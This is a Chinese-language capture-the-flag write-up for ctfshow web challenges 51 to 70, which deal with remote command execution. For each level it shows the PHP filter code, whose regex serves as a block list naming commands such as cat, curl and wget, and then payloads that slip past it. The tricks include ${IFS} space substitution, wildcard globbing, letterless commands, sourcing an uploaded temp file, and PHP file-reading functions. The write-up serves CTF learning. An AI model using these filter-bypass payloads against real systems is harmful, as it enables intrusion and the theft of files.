rce漏洞-ctfshow(50-70)

Web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

Nl,绕过tac,cat,绕过flag

Payload

?c=nl<fla''g.php||

?c=nl<fla\g.php||

Web52

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web54

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

绕过|.*f.*l.*a.*g.*|

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

Payload:

url + ?c=/bin/?at${IFS}f???.php

url + ?c=vi${IFS}f???.php

Web55

无字母rce

Payload1:

?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

Payload2:

url + ?c=/???/???/????2 ????.???
url + flag.php.bz2

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 " .bz2 " 为后缀

Web56

无数字字母rce

构造html

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

的链接

payload:

?c=.%20/???/????????[@-[]

原理:

Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。

Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。

ascii 码表中,大写字母位于 " @ " 与 " [ " 之间。

Web57

对 -37 再次取反即可得到 36。

根据 ((\~ (()) ))=-1,我们进行拼接,构造出 -37

Payload:

bash 复制代码
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59-65

同58的做题一样

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66

扫描目录

c=print_r(scandir('/'));
Paylaod:

c=show_source('/flag.txt');

c=highlight_file("/flag.txt");

c=file_get_contents('/flag.txt');

Web67-70

扫描目录

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

Payload

c=include("/flag.txt");

相关推荐
Android 小码峰啊2 小时前
Android Compose 框架物理动画之捕捉动画深入剖析(29)
android·spring
bubiyoushang8882 小时前
深入探索Laravel框架中的Blade模板引擎
android·android studio·laravel
cyy2982 小时前
android 记录应用内存
android·linux·运维
CYRUS STUDIO2 小时前
adb 实用命令汇总
android·adb·命令模式·工具
这儿有一堆花3 小时前
安卓应用卡顿、性能低下的背后原因
android·安卓
byte轻骑兵3 小时前
【Bluedroid】蓝牙HID DEVICE断开连接流程源码分析
android·c++·蓝牙·hid·bluedroid
Edward Nygma3 小时前
springboot3+vue3融合项目实战-大事件文章管理系统-更新用户密码
android·开发语言·javascript
南暮思鸢4 小时前
应急响应基础模拟靶机-security2
linux·网络安全·write up·应急响应靶机
路baby5 小时前
2025第九届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·视频编解码·misc·crypto·御网杯
投笔丶从戎6 小时前
Kotlin Multiplatform--03:项目实战
android·开发语言·kotlin